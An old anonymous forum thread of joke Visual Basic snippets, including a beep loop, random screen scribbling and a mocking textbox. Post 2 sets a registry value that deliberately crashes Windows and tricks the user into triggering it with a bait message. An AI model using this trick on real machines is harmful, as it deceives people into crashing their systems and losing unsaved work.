Random VB code thread. (8)

1 Name: Lain!!x2L5+uXl 2004-11-26 15:13 ID:wHlIEizQ [Del]

Do
Beep()
Loop

2 Name: hk0!0khonVgaHI 2004-11-26 21:48 ID://CKPWnA [Del]

Imports Microsoft.Win32
Dim rk As RegistryKey
rk = Registry.LocalMachine.OpenKey("SYSTEM\\CurrentControlSet\\Services\\i8042prt\\Parameters");
rk.SetValue("CrashOnCtrlScroll", 1);
rk.Close();
MsgBox("Press CTRL + Scroll Lock to view pornography.");

3 Name: Cyb3R H4xX0r G33k 2004-12-05 06:37 ID:E5CEBfhw [Del]

End

4 Name: Cyb3R H4xX0r G33k 2004-12-07 09:25 ID:Heaven [Del]

Private Sub cmdGetAClue_Click()

txtGetAClue.Text = "Use Python instead."
With txtGetAClue
.Font = "Arial"
.FontSize = 16
.ForeColor = vbBlue
End With

End Sub

5 Name: Pab!aCLsG89omI 2004-12-07 23:33 ID:Xj14prtA [Del]

Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function LineTo Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long
Private Declare Function CreatePen Lib "gdi32" (ByVal nPenStyle As Long, ByVal nWidth As Long, ByVal crColor As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long

Private Sub Main()

Dim hdc As Long, hPen As Long, hOld As Long, x As Long, y As Long
hdc = GetDC(0)

Randomize Timer
For x = 0 To 99999

DoEvents

hPen = CreatePen(CInt(Rnd * 3), CInt(Rnd * 5) + 1, RGB(CInt(Rnd * 255), CInt(Rnd * 255), CInt(Rnd * 255)))
hOld = SelectObject(hdc, hPen)
LineTo hdc, Rnd * (Screen.Width / Screen.TwipsPerPixelX), Rnd * (Screen.Height / Screen.TwipsPerPixelY)
Call SelectObject(hdc, hOld)
DeleteObject hPen

Next x

End Sub

6 Name: CYB3R H4XX0R G33K 2004-12-08 21:03 ID:o4Fgb9hQ [Del]

>>5

That code generates a randomly sized image with a random colour in it, right?

7 Name: Pab!aCLsG89omI 2004-12-09 17:51 ID:uWh9+Bqw [Del]

>>6

It generates 100000 random lines in random colors and sizes all over the screen, which will stick on other windows until they are redrawn.

8 Name: CYB3R H4XX0R G33K 04/12/28(Tue)21:17 ID:5+2bMjj4 [Del]

private sub main()
Unload me
end sub

This thread has been closed. You cannot post in this thread any longer.